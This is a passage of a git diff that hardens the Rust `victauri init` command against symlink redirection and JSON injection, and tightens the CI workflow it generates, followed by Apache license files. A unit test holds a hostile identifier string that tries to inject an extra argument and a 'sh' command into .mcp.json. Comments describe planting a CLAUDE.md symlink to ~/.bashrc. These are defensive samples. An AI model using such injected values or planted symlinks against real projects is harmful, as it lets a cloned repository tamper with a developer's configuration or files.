write_new_file(&mcp_json_path, &generate_mcp_json(app_id.as_deref()))?; match app_id { Some(id) => eprintln!(" [+] Created .mcp.json (bridge pinned to app '{id}')"), None => eprintln!(" [+] Created .mcp.json (AI agent configuration)"), @@ -235,8 +234,7 @@ fn cmd_init(root: &Path) -> Result<()> { } else { std::fs::create_dir_all(&caps_dir) .with_context(|| format!("failed to create {}", caps_dir.display()))?; - std::fs::write(&cap_path, generate_capability_json()) - .with_context(|| format!("failed to write {}", cap_path.display()))?; + write_new_file(&cap_path, generate_capability_json())?; eprintln!(" [+] Created capabilities/victauri.json"); } // Verify the effective grant covers every window — a capability scoped to @@ -274,8 +272,7 @@ fn cmd_init(root: &Path) -> Result<()> { if smoke_path.exists() { eprintln!(" [=] tests/smoke.rs already exists"); } else { - std::fs::write(&smoke_path, generate_smoke_test()) - .with_context(|| format!("failed to write {}", smoke_path.display()))?; + write_new_file(&smoke_path, generate_smoke_test())?; eprintln!(" [+] Created tests/smoke.rs (smoke tests)"); } @@ -288,8 +285,7 @@ fn cmd_init(root: &Path) -> Result<()> { } else { generate_integration_test_with_commands(&discovered_commands) }; - std::fs::write(&integration_path, &integration_content) - .with_context(|| format!("failed to write {}", integration_path.display()))?; + write_new_file(&integration_path, &integration_content)?; eprintln!(" [+] Created tests/integration.rs (integration test template)"); } @@ -309,8 +305,7 @@ fn cmd_init(root: &Path) -> Result<()> { .map(|p| p.to_string_lossy().replace('\\', "/")) .filter(|p| !p.is_empty()) .unwrap_or_else(|| ".".to_string()); - std::fs::write(&ci_path, generate_ci_workflow(&app_dir)) - .with_context(|| format!("failed to write {}", ci_path.display()))?; + write_new_file(&ci_path, &generate_ci_workflow(&app_dir))?; eprintln!(" [+] Created .github/workflows/victauri.yml (CI pipeline)"); } @@ -324,20 +319,14 @@ fn cmd_init(root: &Path) -> Result<()> { if content.contains("VICTAURI:BEGIN") { eprintln!(" [=] CLAUDE.md already has the Victauri block (VICTAURI markers present)"); } else { - let mut file = std::fs::OpenOptions::new() - .append(true) - .open(&claude_md_path) - .with_context(|| format!("failed to append to {}", claude_md_path.display()))?; - std::io::Write::write_all(&mut file, generate_claude_md_section().as_bytes()) - .with_context(|| format!("failed to write to {}", claude_md_path.display()))?; + append_to_regular_file(&claude_md_path, generate_claude_md_section())?; eprintln!( " [+] Appended a Victauri block to CLAUDE.md (between and" ); eprintln!(" markers — delete that block to opt out)"); } } else { - std::fs::write(&claude_md_path, generate_claude_md_section()) - .with_context(|| format!("failed to write {}", claude_md_path.display()))?; + write_new_file(&claude_md_path, generate_claude_md_section())?; eprintln!(" [+] Created CLAUDE.md with Victauri agent instructions"); } @@ -1287,22 +1276,80 @@ fn try_patch_tauri_builder(src_dir: &Path) -> Result { /// /// No `--wait`: the bridge answers the MCP handshake locally and connects to the app lazily, /// so it never blocks startup whether or not the app is running yet (`--wait` is now a no-op). +/// +/// Built with `serde_json` (never string interpolation): the identifier comes from the +/// project's `tauri.conf.json`, and a value containing quotes, backslashes or control +/// characters must be escaped, not spliced into the document. fn generate_mcp_json(app: Option<&str>) -> String { - let args = match app { - Some(id) => format!("[\"bridge\", \"--app\", \"{id}\"]"), - None => "[\"bridge\"]".to_string(), + let args: Vec<&str> = match app { + Some(id) => vec!["bridge", "--app", id], + None => vec!["bridge"], }; - format!( - r#"{{ - "mcpServers": {{ - "victauri": {{ - "command": "victauri", - "args": {args} - }} - }} -}} -"# - ) + let doc = serde_json::json!({ + "mcpServers": { + "victauri": { + "command": "victauri", + "args": args, + } + } + }); + // Serializing a `Value` built from strings cannot fail; fall back defensively anyway. + let mut out = serde_json::to_string_pretty(&doc).unwrap_or_else(|_| { + r#"{"mcpServers":{"victauri":{"command":"victauri","args":["bridge"]}}}"#.to_string() + }); + out.push('\n'); + out +} + +/// Refuse to operate on `path` if it is a symbolic link. +/// +/// `victauri init` writes into a project directory that may come from an untrusted clone; a +/// planted symlink (e.g. `CLAUDE.md -> ~/.bashrc`) would otherwise make `fs::write` / +/// append follow it and modify a file outside the project. A missing path is fine. +fn refuse_symlink(path: &Path) -> Result<()> { + match std::fs::symlink_metadata(path) { + Ok(meta) if meta.file_type().is_symlink() => anyhow::bail!( + "refusing to write {}: it is a symbolic link (victauri init never writes through symlinks)", + path.display() + ), + _ => Ok(()), + } +} + +/// Create a NEW file with `contents`, never following or clobbering anything already at +/// `path`. `create_new` is atomic (`O_EXCL` / `CREATE_NEW`): it fails if *anything* exists there, +/// including a dangling symlink, so a link planted between the existence check and the write +/// cannot redirect it. +fn write_new_file(path: &Path, contents: &str) -> Result<()> { + refuse_symlink(path)?; + let mut file = std::fs::OpenOptions::new() + .write(true) + .create_new(true) + .open(path) + .with_context(|| format!("failed to create {}", path.display()))?; + std::io::Write::write_all(&mut file, contents.as_bytes()) + .with_context(|| format!("failed to write {}", path.display()))?; + Ok(()) +} + +/// Append `contents` to an existing regular file, refusing if `path` is a symlink. +fn append_to_regular_file(path: &Path, contents: &str) -> Result<()> { + refuse_symlink(path)?; + let meta = std::fs::symlink_metadata(path) + .with_context(|| format!("failed to stat {}", path.display()))?; + if !meta.is_file() { + anyhow::bail!( + "refusing to append to {}: not a regular file", + path.display() + ); + } + let mut file = std::fs::OpenOptions::new() + .append(true) + .open(path) + .with_context(|| format!("failed to append to {}", path.display()))?; + std::io::Write::write_all(&mut file, contents.as_bytes()) + .with_context(|| format!("failed to write to {}", path.display()))?; + Ok(()) } /// Read the Tauri bundle identifier from the project's `tauri.conf.json` so the generated @@ -1330,8 +1377,8 @@ that gives full-stack access to the webview DOM, IPC layer, Rust backend, and na windows. Available when the app is running in debug mode. **Use Victauri MCP tools for all app inspection and testing tasks.** Victauri runs inside -the app process with sub-ms response times and direct AppHandle access — it sees -everything, not just the webview. +the app process with direct AppHandle access (Rust-side tools answer in well under a +millisecond; webview tools are a JS round trip) — it sees everything, not just the webview. Key Victauri tools (the read-only backend/DB introspection below has no CDP/Playwright equivalent — and on macOS/Linux CDP can't attach to a Tauri webview at all): @@ -1963,11 +2010,17 @@ on: pull_request: branches: [main] +# Least privilege: this workflow only reads the repository. +permissions: + contents: read + jobs: e2e: runs-on: ubuntu-latest steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 + with: + persist-credentials: false - name: Install system dependencies run: | @@ -2006,6 +2059,10 @@ jobs: xvfb-run -a "$TARGET_DIR/debug/$BIN" & echo "APP_PID=$!" >> "$GITHUB_ENV" + # Pinned to the release TAG that matches your victauri-cli. Tags are mutable: for + # supply-chain hardening, replace `@v__VICTAURI_VERSION__` with the full 40-character + # commit SHA that tag points to (keep the tag as a trailing comment), e.g. + # git ls-remote https://github.com/4DA-Systems/victauri refs/tags/v__VICTAURI_VERSION__ - name: Victauri smoke tests uses: 4DA-Systems/victauri/.github/actions/victauri-test@v__VICTAURI_VERSION__ with: @@ -2216,6 +2273,83 @@ mod tests { assert!(args.iter().any(|a| a.as_str() == Some("com.4da.app"))); } + #[test] + fn mcp_json_escapes_hostile_identifier() { + // A tauri.conf.json identifier is attacker-controllable in a cloned repo. It must be + // escaped as ONE JSON string, never able to inject extra args or keys. + let hostile = "x\", \"--evil\"], \"command\": \"sh\\\n"; + let content = generate_mcp_json(Some(hostile)); + let parsed: serde_json::Value = serde_json::from_str(&content).unwrap(); + let server = &parsed["mcpServers"]["victauri"]; + assert_eq!(server["command"].as_str(), Some("victauri")); + let args = server["args"].as_array().unwrap(); + assert_eq!(args.len(), 3); + assert_eq!(args[2].as_str(), Some(hostile)); + assert_eq!(server.as_object().unwrap().len(), 2); + } + + #[test] + fn write_new_file_creates_and_never_clobbers() { + let dir = tempfile::tempdir().unwrap(); + let path = dir.path().join("new.txt"); + write_new_file(&path, "hello").unwrap(); + assert_eq!(std::fs::read_to_string(&path).unwrap(), "hello"); + // A second write must fail rather than overwrite. + assert!(write_new_file(&path, "other").is_err()); + assert_eq!(std::fs::read_to_string(&path).unwrap(), "hello"); + } + + #[test] + fn append_refuses_non_regular_file() { + let dir = tempfile::tempdir().unwrap(); + assert!(append_to_regular_file(dir.path(), "x").is_err()); + let f = dir.path().join("CLAUDE.md"); + std::fs::write(&f, "a").unwrap(); + append_to_regular_file(&f, "b").unwrap(); + assert_eq!(std::fs::read_to_string(&f).unwrap(), "ab"); + } + + #[cfg(unix)] + #[test] + fn init_writes_refuse_symlinks() { + let dir = tempfile::tempdir().unwrap(); + let outside = dir.path().join("outside.txt"); + std::fs::write(&outside, "original").unwrap(); + + // Symlink to an existing file: append must refuse and leave the target untouched. + let claude_md = dir.path().join("CLAUDE.md"); + std::os::unix::fs::symlink(&outside, &claude_md).unwrap(); + assert!(append_to_regular_file(&claude_md, "INJECTED").is_err()); + assert!(write_new_file(&claude_md, "INJECTED").is_err()); + assert_eq!(std::fs::read_to_string(&outside).unwrap(), "original"); + + // Dangling symlink: `exists()` is false, so init would try to create it — the + // create must refuse instead of following the link to create the target. + let target = dir.path().join("created-through-link.txt"); + let mcp = dir.path().join(".mcp.json"); + std::os::unix::fs::symlink(&target, &mcp).unwrap(); + assert!(!mcp.exists()); + assert!(write_new_file(&mcp, "{}").is_err()); + assert!(!target.exists()); + } + + #[cfg(unix)] + #[test] + fn cmd_init_refuses_symlinked_claude_md() { + let dir = tempfile::tempdir().unwrap(); + std::fs::write( + dir.path().join("Cargo.toml"), + "[package]\nname = \"app\"\nversion = \"0.1.0\"\nedition = \"2021\"\n\n[dependencies]\ntauri = \"2\"\n", + ) + .unwrap(); + let outside = dir.path().join("outside.md"); + std::fs::write(&outside, "keep").unwrap(); + std::os::unix::fs::symlink(&outside, dir.path().join("CLAUDE.md")).unwrap(); + let err = cmd_init(dir.path()).unwrap_err(); + assert!(format!("{err:#}").contains("symbolic link"), "{err:#}"); + assert_eq!(std::fs::read_to_string(&outside).unwrap(), "keep"); + } + #[test] fn capability_json_has_correct_structure() { let content = generate_capability_json(); @@ -2344,6 +2478,11 @@ mod tests { assert!(content.contains("working-directory: src-tauri")); assert!(content.contains("\"src-tauri -> target\"")); assert!(!content.contains("__APP_DIR__")); + // Least-privilege token + no persisted checkout credentials. + assert!(content.contains("permissions:\n contents: read")); + assert!(content.contains("persist-credentials: false")); + // The tag-pinned action ref carries SHA-pinning guidance. + assert!(content.contains("full 40-character")); } #[test] diff --git a/crates/victauri-core/LICENSE b/crates/victauri-core/LICENSE new file mode 100644 index 00000000..bed34b88 --- /dev/null +++ b/crates/victauri-core/LICENSE @@ -0,0 +1,190 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to the Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by the Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding any notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + Copyright 2026 4DA Systems Pty Ltd + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/crates/victauri-macros/LICENSE b/crates/victauri-macros/LICENSE new file mode 100644 index 00000000..bed34b88 --- /dev/null +++ b/crates/victauri-macros/LICENSE @@ -0,0 +1,190 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to the Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by the Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding any notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + Copyright 2026 4DA Systems Pty Ltd + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/crates/victauri-plugin/LICENSE b/crates/victauri-plugin/LICENSE new file mode 100644 index 00000000..bed34b88 --- /dev/null +++ b/crates/victauri-plugin/LICENSE @@ -0,0 +1,190 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to the Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by the Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding any notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + Copyright 2026 4DA Systems Pty Ltd + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use 